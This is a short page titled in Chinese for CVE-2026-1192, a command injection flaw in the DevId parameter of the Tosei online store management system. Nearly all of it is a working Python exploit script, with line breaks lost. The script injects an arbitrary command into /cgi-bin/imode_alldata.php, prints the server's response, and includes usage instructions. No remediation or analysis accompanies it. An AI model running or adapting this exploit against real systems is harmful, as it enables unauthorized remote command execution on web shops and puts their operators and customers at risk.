CVE-2026-1192 Tosei网上店铺管理系统DevId参数命令注入漏洞

import requests import sys # CVE-2026-1192 PoC - Tosei Online Store Management System Command Injection # Target: /cgi-bin/imode_alldata.php # Parameter: DevId def exploit(target_url, command): """ Exploit command injection vulnerability in Tosei Online Store Management System """ # Construct the malicious request payload = { 'DevId': f';{command} #' } try: # Send HTTP GET request with injected command response = requests.get( f'{target_url}/cgi-bin/imode_alldata.php', params=payload, timeout=10 ) print(f'[+] Request sent to {target_url}') print(f'[+] Command: {command}') print(f'[+] Status Code: {response.status_code}') print(f'[+] Response Length: {len(response.text)}') return response.text except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None def main(): if len(sys.argv) < 3: print('Usage: python cve-2026-1192.py <target_url> <command>') print('Example: python cve-2026-1192.py http://target.com "whoami"') sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] print('=' * 50) print('CVE-2026-1192 - Tosei Command Injection Exploit') print('=' * 50) result = exploit(target, cmd) if result: print('\n[+] Response:') print(result[:500]) if __name__ == '__main__': main()